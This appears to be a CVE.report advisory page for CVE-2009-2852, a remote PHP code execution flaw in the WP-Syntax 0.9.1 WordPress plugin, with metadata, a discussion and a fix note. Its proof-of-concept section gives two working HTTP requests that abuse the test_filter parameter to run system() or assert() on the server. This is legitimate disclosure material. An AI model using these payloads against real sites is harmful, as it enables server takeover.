WordPress Plugin WP-Syntax Remote PHP Code Execution Vulnerability

BID:36040

Info

WordPress Plugin WP-Syntax Remote PHP Code Execution Vulnerability

Bugtraq ID: 36040
Class: Input Validation Error
CVE: CVE-2009-2852
Remote: Yes
Local: No
Published: Aug 13 2009 12:00AM
Updated: Apr 13 2015 09:08PM
Credit: Inj3ct0r
Vulnerable: WP-Syntax WP-Syntax 0.9.1
Not Vulnerable: WordPress WordPress 2.8.4

Discussion

WordPress Plugin WP-Syntax Remote PHP Code Execution Vulnerability

The WP-Syntax plugin for WordPress is prone to a vulnerability that lets remote attackers execute arbitrary code because the application fails to sanitize user-supplied input.

Attackers can exploit this issue to execute arbitrary PHP code within the context of the affected webserver process.

This issue affects WP-Syntax 0.9.1 and prior version.

Exploit / POC

WordPress Plugin WP-Syntax Remote PHP Code Execution Vulnerability

Attackers may exploit this issue through a browser.

The following example HTTP requests are available:

GET /wp-content/plugins/wp-syntax/test/index.php?test_filter[wp_head][99][0]=session_start&test_filter[wp_head][99][1]=session_id&test_filter[wp_head][99][2]=system HTTP/1.0
Host: localhost
Cookie: PHPSESSID=dir
Connection: close


GET /wp-content/index.php?test_filter[wp_head][99][]=session_start&test_filter[wp_head][99][0]=session_id&test_filter[wp_head][99][1]=base64_decode&test_filter[wp_head][99][2]=assert&q=phpinfo();exit;

Solution / Fix

WordPress Plugin WP-Syntax Remote PHP Code Execution Vulnerability

Solution:
The vendor indicates that WordPress 2.8.4 Security Release resolves this issue in the plugin.

References

WordPress Plugin WP-Syntax Remote PHP Code Execution Vulnerability

References:

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report